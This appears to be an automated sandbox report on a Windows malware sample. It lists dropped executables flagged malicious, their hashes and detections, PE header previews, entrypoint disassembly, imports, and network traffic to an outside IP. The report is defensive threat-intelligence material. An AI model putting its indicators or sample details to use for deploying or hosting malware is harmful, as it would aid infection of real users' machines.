Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L....)R_......................p.....P.............@...........................x.................................................P....@w..?....................w.0...0...............................(...@............................................text.............................. ..`.data....io.........................@....vito........0w.....................@....rsrc....?...@w..@..................@..@.reloc..."....w..$..................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\B4BD.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	512512
Entropy (8bit):	7.846723941917503
Encrypted:	false
SSDEEP:	12288:Tw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+LF:TVhdLVg2Zep7njXzPDxC+J
MD5:	F57B28AEC65D4691202B9524F84CC54A
SHA1:	F546B20EB40E3BC2B6929BA0F574E32422CED30C
SHA-256:	87D86132095541ED3B5FE05EB06692E1712287B6FFD9832A28EB85F52B55F0A5
SHA-512:	1A773186B0A15F743F8D9681036A9ECA45E2DD5F7944725498E929C5438ACFFCD753061EB475383E5759FC41A8ADE4EB717F3D3529313C3C0D48C659B5E36F09
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B4BD.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.................. ........@.. .......................@............`.....................................S............................ ....................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B........................H........u...p..........HZ..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Local\Temp\D210.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	876032
Entropy (8bit):	7.460770275761101
Encrypted:	false
SSDEEP:	24576:rllHH+L2668JnnVlA56Bl0vXiTfbm9CW9:rll+L2mtVlA5+cb
MD5:	94A2C61443FDC38F87B7903D5FF979E7
SHA1:	CB98E7B675EFCE00C9EAEC98B2B7F4C154B5E0D7
SHA-256:	D89B90BED3CA49A3110AB8ABF95B27E42E87F31FA6427E32857F097DA65C58AB
SHA-512:	698F87628375FA33BDDF97907DD09A95C1C20989D68D032E224330ED2EBFCEBC35DE4D0B4A1A3353C9840C76AE88F6D56640072F859D7C9ECD2560F276CB1B08
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ctw.Ctw.Ctw.,...ntw.,...atw.,...<tw.J...Dtw.Ctv.<tw.,...Btw.,...Btw.,...Btw.RichCtw.........PE..L...J..`......................p...................@...........................\|................................................P....p{..?....................{.0...0...............................H...@............................................text............................... ..`.data....io.........................@....yuso........`{.....................@....rsrc....?...p{..@..................@..@.reloc..."....{..$...:..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\D88A.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	604160
Entropy (8bit):	7.081312542094628
Encrypted:	false
SSDEEP:	12288:zUq737aTz5aNquRVgE6/kEObrF5d/WYN4t88+wGOjsyDR:Aq7rwa0uRm8brF5LupDs
MD5:	DE692F1B4D4C63FED395BE25E878858E
SHA1:	16F5B74E898FB0CD30F127CB1E03DA79E481158A
SHA-256:	6ED753E5B9A7AC5D89A6F9749E24C5BEB7483C6FDA2057E81E1EB3ED5A32AB21
SHA-512:	24227BBCD1451E7F6A2B6C16637987B1388BE398A88005851AF24805BFD7B57AE39AE7B70E69DE3B424EE48E4FB65EF0CABD710692EBC9393F2A1542E6D8E067
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........5.>.T.m.T.m.T.m."2m.T.m.".m.T.m."3mqT.m.,.m.T.m.T.m.T.m."6m.T.m.".m.T.m.".m.T.mRich.T.m........PE..L.....*_......................v.....@.............@...........................~......4..........................................d....P}..I....................}..... ...................................@............................................text.............................. ..`.data...H.u.........................@....rsrc....I...P}..J..................@..@.reloc...#....}..$..................@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DA7F.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	262248
Entropy (8bit):	7.344044114091331
Encrypted:	false
SSDEEP:	6144:7Zd5yNguYYTkxcNQoF8KzJugf/vTvN9KQqJIo:7Zd5yNguPQyNQYJuSvDLKXIo
MD5:	EDE62358EA39643E43992E9068E03CA2
SHA1:	0F73E8F96C01135A91D4E1BFECA139AD31C72C15
SHA-256:	187CB817751D6871EB7BE566DD9D9A98A46EDB11391220B69E4FAD695F31E605
SHA-512:	552B31EDA2131C8326996DEBA1812C6A6B23D892DDABDD17C3182FCD43B9019CFC863EED1FF67FA2EC21297E98F61502D3E095972D2C6710D08B3F27EA7A82F1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 14%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....{a..............0.................. ... ....@.. .......................@............@.................................(...W.......XH..............h.... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...XH.......J..................@..@.reloc....... ......................@..B................d.......H.......................l...."..................................................................?................................?................................?................................?............................................................................................................ .......@........................................................ .......@........................................................ .......@.....................................

C:\Users\user\AppData\Local\Temp\DC45.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1111994
Entropy (8bit):	7.9252602794269915
Encrypted:	false
SSDEEP:	24576:4CRVwOoPzND9Tl7RUGb+89w4ZFLkAPLYLSeUr:hOhJGTIAAcns
MD5:	27E7D6FAA08A1A69CB7C62D199B1B4F6
SHA1:	507F02D50BA701760A6D2303A648563030FB3ECD
SHA-256:	3896AD778346B9D5B04331410015969F2AF655B6277DBF612721027B73173E50
SHA-512:	7100ED807C5C1C56D5A3FCB4E69BE326F5D14BC44076E2E35355E6B8E3A175ED1B9FF4BC9C82FBCB1C19D1DD552E1D9242CD17CD5C44F9320C067ACA301D1059
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......j@...!.R.!.R.!.R'Y.R4!.R'Y.R.!.R'Y.R=!.R.!.R.!.R'Y.Ry!.R'Y.R/!.R'Y.R/!.R'Y.R/!.RRich.!.R........PE..L....ALV.....................~......\.............@..........................`..........................................3...............xE..........................................................@...@...............(............................text...)........................... ..`.rdata...F.......H..................@..@.data...(.... ......................@....rsrc...xE.......F..."..............@..@................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DEC6.exe Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	510976
Entropy (8bit):	7.850749525333838
Encrypted:	false
SSDEEP:	12288:Iw86shtDE09VgbshnKMstp7eylszgTDzLTDaMqvK8J+W:IVhdLVg2Zep7njXzPDxC+W
MD5:	B0A956B96769AA21A44206DD528C5B39
SHA1:	30CF20E67DFA3FC38C6E80B761AD0D523C5AF43A
SHA-256:	37B78E9A50830B88E97F6048F90EA0AFE925E0C6E4F0E9A1CF3C7849787D9C4C
SHA-512:	5B6D8707FA2D4B7D41D7B1733409A34645DF2B42FF064D9E7643A8F4AE7076A798B2012959AF6F8B30E44D60B28EF4B1761E0CB3287448329C9144AE9FD9CE9F
Malicious:	true
Yara Hits:	Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\DEC6.exe, Author: Florian Roth
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....................0.............N.... ........@.. .......................@......yq....`.....................................K............................ ....................................................... ............... ..H............text...T.... ...................... ..`.rsrc...............................@..@.reloc....... ......................@..B................0.......H........u..hk..........@Z..X...........................................MZ......................@...............................................!....!This program cannot be run in DOS mode....$.......PE...................." ..P.............Z8... ...@....... ....................................@..................................8..O....@..x....................`.......7............................................... ............... ..H............text...`.... ..................

C:\Users\user\AppData\Roaming\bsstvub Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	343552
Entropy (8bit):	6.591378250837588
Encrypted:	false
SSDEEP:	6144:Kl0zomRIf6aKHTVHcoLrCM9ZMxUrNveZY8oYEdbC6Vqov0LVJErtFwg:Klwom1aKx8oLuMIoxC1oYEdbCO/OV+H
MD5:	C5A077A9785424C21611801DB5DD0F95
SHA1:	423BFBE43AC7B308F0B889BE8824C317BC1F4846
SHA-256:	8920B1D5B8A3F73BB010CDD5014602E4D974F2D7EF3E63F25674BE6B03A4B21E
SHA-512:	D32C24C7E6BB5F770ED4367ED08251AB545518EC49C46341185A56B5254C50CA49CC291730165D19867687BFB5B48D70C81BCF1711CF95E0B04762A4ACE3F90F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 23%, Browse Antivirus: ReversingLabs, Detection: 51%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./0..kQi.kQi.kQi.u...~Qi.u...)Qi.u....Qi.L...hQi.kQh..Qi.u...jQi.u...jQi.u...jQi.RichkQi.........................PE..L.....^`.................t....C...................@..........................@H......~.......................................y..(.....G.P@....................G.p$..P...............................x...@............................................text....s.......t.................. ..`.data.....B..........x..............@....rsrc...P@....G..B..................@..@.reloc..xi....G..j..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\bsstvub:Zone.Identifier Download File
Process:	C:\Windows\explorer.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\egjjabd Download File
Process:	C:\Windows\explorer.exe
File Type:	data
Category:	dropped
Size (bytes):	337526
Entropy (8bit):	7.999537905520413
Encrypted:	true
SSDEEP:	6144:7l+lBim+iXvZErUb4z9DLV9e/LdQ5jQcXrcMC/o8vDGbTWb9t8h/vd3dSjmQO8:Mumxv+Ubo9DLV4jYjQcX8BU+b8vDQX
MD5:	0418E44C535FA287A85DA5D30AF5DBC2
SHA1:	DEE28770827B59C5F8496E8A63A96481FC0A7F8F
SHA-256:	16FF69097F9A54A0771CABB1FBA691438650BF8007E54AD13A612DA46770CB9F
SHA-512:	0F3A9154FC1E168EA7BBEB57AEF6870F297C4A9ADF16E8E32FFB23723FF2790DB3E9EAED860E3E9D6F1672D5C70B2ECD978E1F4AF7951EAC53BDD879A4863589
Malicious:	false
Reputation:	unknown
Preview:	p.......g.......k../.~.1....vD...&q')3...DJ..l/KPG..R....n<V......+............/v..C....<rr.H....F\.!WM.-..\|.9..v..T.x.+.zA......]\.ts.g..vP%.g.x.P...[(..`w..X.....$Iw.~....)5%6....$...-.e..<....9....s.dw%.O.7...Qg.E...g.7.Y.....?'.>Ds.......%5.......=.}.G..s.....Rp p...c........j.q8Y..o..r. 6...d.....G..W..<G.w ...U..+......D.pI .8.......o...A.m..3..A.......ns. .0.A...>C:x.6_..G...a\......R.=......!....e...5.#...J.......t."..]2.<...':R}lqCH=..=I..C...-.?..)1..~.jU..6i.2...a..V.;..E....l........t....%A-.+.....R.,=F......7K3..../4V.`.\|D...".P`eb.....d.)...z.6+...nW..\|....%........cr@..>..'.{...L.."..o...n.[,S]..E...........n..f...........7n.<A.....~..0...V[x..\~-..=uN..s.x.~W.\|.}K 0.M..x...D....h...`0.J..v.f....7....ZJ.uV(Vm..uh.k"..puAz.y...Q......T.U..w..6.\.Z...-i....`....d....H.P1e...,......h.u(.......j,Z.Z.y.Y.eQ...+.\b.z.....I....W................Oe....T....B..gx...........#.m....\|cj38!w.x.!f...5.+5.[.j..+)#..p....1W}..W.

C:\Users\user\AppData\Roaming\isstvub Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	212992
Entropy (8bit):	6.734269361613487
Encrypted:	false
SSDEEP:	3072:UJ+Dg6a/6BO0fFI4+uX67vtk4nNcDxzyuEpuVMO6P2+BwvHJ3/RA:FDy/6BOSFI48v2dxzyuEpynVP
MD5:	73252ACB344040DDC5D9CE78A5D3A4C2
SHA1:	3A16C3698CCF7940ADFB2B2A9CC8C20B1BA1D015
SHA-256:	B8AC77C37DE98099DCDC5924418D445F4B11ECF326EDD41A2D49ED6EFD2A07EB
SHA-512:	1541E3D7BD163A4C348C6E5C7098C6F3ADD62B1121296CA28934A69AD308C2E51CA6B841359010DA96E71FA42FD6E09F7591448433DC3B01104007808427C3DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................................................................................................................PE..L......^.................V...........,.......p....@..................................q......................................\...<.... ..8............................q.................................@............p..x............................text....U.......V.................. ..`.rdata...G...p...H...Z..............@..@.data...DB..........................@....cipizi.r...........................@..@.rsrc...8.... ......................@..@........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\wistvub Download File
Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	347136
Entropy (8bit):	5.994706914620217
Encrypted:	false
SSDEEP:	6144:5rT+Wp+Ouiv24iPmSCyf11rcrKElOoL91iH+2k9Q9:5H/p+Ouiv24gf11rcrKElOSiH
MD5:	31BE6099D31BDBF1ED339EFFDC1C7064
SHA1:	6B1077BE6CF57EA98C3BE8B6F0268D025EA72D88
SHA-256:	9D9056D76BE4BEB3CC17CD95C47108AB42D73255F2BC031423D044ED927FB885
SHA-512:	ECC057643C2E65C74F3286C8856EB57FEC75FCB650FBE864D53EC0C36C34E0DA3242E19657B1ABB75AA3EEE88A7367E77FFC0E3FE98BFEF0D180C74966D1CEDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4...p.e.p.e.p.e....\.e.....R.e.....e.y...w.e.p.d...e....q.e.....q.e.....q.e.Richp.e.........................PE..L...g.._......................p.....p.............@...........................t.................................................P....`s.h?....................s.....0..................................@............................................text... ........................... ..`.data....io.........................@....daya........Ps.....................@....rsrc...h?...`s..@..................@..@.reloc...#....s..$...(..............@..B........................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.591378250837588
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	CFE9H9mdWr.exe
File size:	343552
MD5:	c5a077a9785424c21611801db5dd0f95
SHA1:	423bfbe43ac7b308f0b889be8824c317bc1f4846
SHA256:	8920b1d5b8a3f73bb010cdd5014602e4d974f2d7ef3e63f25674be6b03a4b21e
SHA512:	d32c24c7e6bb5f770ed4367ed08251ab545518ec49c46341185a56b5254c50ca49cc291730165d19867687bfb5b48d70c81bcf1711cf95e0b04762a4ace3f90f
SSDEEP:	6144:Kl0zomRIf6aKHTVHcoLrCM9ZMxUrNveZY8oYEdbC6Vqov0LVJErtFwg:Klwom1aKx8oLuMIoxC1oYEdbCO/OV+H
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./0..kQi.kQi.kQi.u...~Qi.u...)Qi.u....Qi.L...hQi.kQh..Qi.u...jQi.u...jQi.u...jQi.RichkQi.........................PE..L.....^`...

File Icon


Icon Hash:	aadaae9ec6a68aa4

Static PE Info

General
Entrypoint:	0x421f90
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics:	TERMINAL_SERVER_AWARE, NX_COMPAT
Time Stamp:	0x605ED91A [Sat Mar 27 07:04:58 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	cc12fa1c06b94f51dc8ec5d000654e41

Entrypoint Preview

Instruction
mov edi, edi
push ebp
mov ebp, esp
call 00007F13E8CBDE3Bh
call 00007F13E8CB0456h
pop ebp
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
mov edi, edi
push ebp
mov ebp, esp
push FFFFFFFEh
push 00446D30h
push 0042B600h
mov eax, dword ptr fs:[00000000h]
push eax
add esp, FFFFFF94h
push ebx
push esi
push edi
mov eax, dword ptr [004493D4h]
xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [0040106Ch]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F13E8CB0468h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F13E8CB0598h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F13E8CB05D4h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F13E8CBEEFAh
add esp, 04h
test eax, eax
jne 00007F13E8CB044Ch
push 0000001Ch
call 00007F13E8CB058Ch
add esp, 04h
call 00007F13E8CB8BF4h
test eax, eax
jne 00007F13E8CB044Ch
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x47918	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x478000	0x4050	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x47d000	0x2470	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1250	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1a178	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x1dc	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x473e4	0x47400	False	0.554851973684	data	6.81407351641	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x49000	0x42e7a8	0x1a00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x478000	0x4050	0x4200	False	0.674715909091	data	5.9542342506	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x47d000	0x6978	0x6a00	False	0.277933372642	data	3.1463901338	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x47b0a8	0x2	data	Divehi; Dhivehi; Maldivian	Maldives
XASOBEZEHAMUHEYENEXUT	0x47ad38	0x2fa	ASCII text, with very long lines, with no line terminators	Spanish	Paraguay
ZIMOBEYIZOHUR	0x47a960	0x3d8	ASCII text, with very long lines, with no line terminators	Spanish	Paraguay
RT_ICON	0x4783a0	0x25a8	dBase III DBT, version number 0, next free block index 40	Spanish	Paraguay
RT_STRING	0x47b1e0	0xc0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x47b2a0	0x4c0	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x47b760	0x644	data	Divehi; Dhivehi; Maldivian	Maldives
RT_STRING	0x47bda8	0x2a6	data	Divehi; Dhivehi; Maldivian	Maldives
RT_ACCELERATOR	0x47b038	0x60	data	Divehi; Dhivehi; Maldivian	Maldives
RT_GROUP_ICON	0x47a948	0x14	data	Spanish	Paraguay
RT_VERSION	0x47b0b0	0x130	data	Divehi; Dhivehi; Maldivian	Maldives
None	0x47b098	0xa	data	Divehi; Dhivehi; Maldivian	Maldives

Imports

DLL

Import

KERNEL32.dll

FindFirstChangeNotificationW, TlsGetValue, GetCPInfo, InterlockedDecrement, CompareFileTime, QueryDosDeviceA, SetVolumeMountPointW, FindFirstFileExW, BackupSeek, GetModuleHandleW, GetTickCount, GetCurrentThread, IsBadReadPtr, GetConsoleAliasesLengthA, SetFileTime, GetWindowsDirectoryA, CreateActCtxW, GetDriveTypeA, SetFileShortNameW, CopyFileW, SetConsoleMode, VerifyVersionInfoA, TerminateProcess, IsDBCSLeadByte, CompareStringW, lstrlenW, SetCurrentDirectoryA, GetStartupInfoA, GetCurrentDirectoryW, GetLongPathNameW, SetLastError, GetProcAddress, WriteProfileSectionA, LockFileEx, GetConsoleDisplayMode, OpenWaitableTimerA, LocalAlloc, SetFileApisToANSI, GlobalGetAtomNameW, GetModuleFileNameA, GetModuleHandleA, FreeEnvironmentStringsW, ScrollConsoleScreenBufferA, SetProcessShutdownParameters, GetVersionExA, TlsAlloc, DeleteFileW, AddConsoleAliasA, LocalFileTimeToFileTime, InterlockedIncrement, Sleep, InitializeCriticalSection, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetLastError, MoveFileA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, GetModuleFileNameW, GetCommandLineA, HeapValidate, RaiseException, RtlUnwind, WideCharToMultiByte, MultiByteToWideChar, LCMapStringA, LCMapStringW, TlsSetValue, GetCurrentThreadId, TlsFree, ExitProcess, GetACP, GetOEMCP, IsValidCodePage, DebugBreak, GetStdHandle, WriteFile, OutputDebugStringA, WriteConsoleW, GetFileType, OutputDebugStringW, LoadLibraryW, QueryPerformanceCounter, GetCurrentProcessId, GetSystemTimeAsFileTime, FreeEnvironmentStringsA, GetEnvironmentStrings, GetEnvironmentStringsW, SetHandleCount, HeapDestroy, HeapCreate, HeapFree, VirtualFree, FlushFileBuffers, GetConsoleCP, GetConsoleMode, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, IsValidLocale, EnumSystemLocalesA, GetUserDefaultLCID, SetFilePointer, LoadLibraryA, InitializeCriticalSectionAndSpinCount, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, GetLocaleInfoW, CloseHandle, CreateFileA

Version Infos

Description	Data
Translations	0x0412 0x00ac

Possible Origin

Language of compilation system	Country where language is spoken	Map
Divehi; Dhivehi; Maldivian	Maldives
Spanish	Paraguay

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 29, 2021 20:28:41.832869053 CEST	49744	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:41.886889935 CEST	80	49744	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:41.887006044 CEST	49744	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:41.887166023 CEST	49744	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:41.887182951 CEST	49744	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:41.941081047 CEST	80	49744	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:41.968265057 CEST	80	49744	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:41.968413115 CEST	49744	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:41.970056057 CEST	49744	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.011502981 CEST	49745	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.023792982 CEST	80	49744	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.063826084 CEST	80	49745	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.066708088 CEST	49745	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.066843033 CEST	49745	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.066869974 CEST	49745	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.141247988 CEST	80	49745	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.141400099 CEST	49745	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.142030001 CEST	49745	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.194315910 CEST	80	49745	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.539124966 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.593146086 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.593352079 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.593419075 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.690347910 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736280918 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736324072 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736358881 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736393929 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736428022 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736495018 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736553907 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.736572027 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736608982 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736645937 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736681938 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.736716986 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.736735106 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.736901999 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.790812969 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.790863991 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791004896 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.791028023 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791076899 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791165113 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791202068 CEST	49746	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:28:42.791259050 CEST	80	49746	185.98.87.159	192.168.2.3
Oct 29, 2021 20:28:42.791297913 CEST	80	49746	185.98.87.159	192.168.2.3
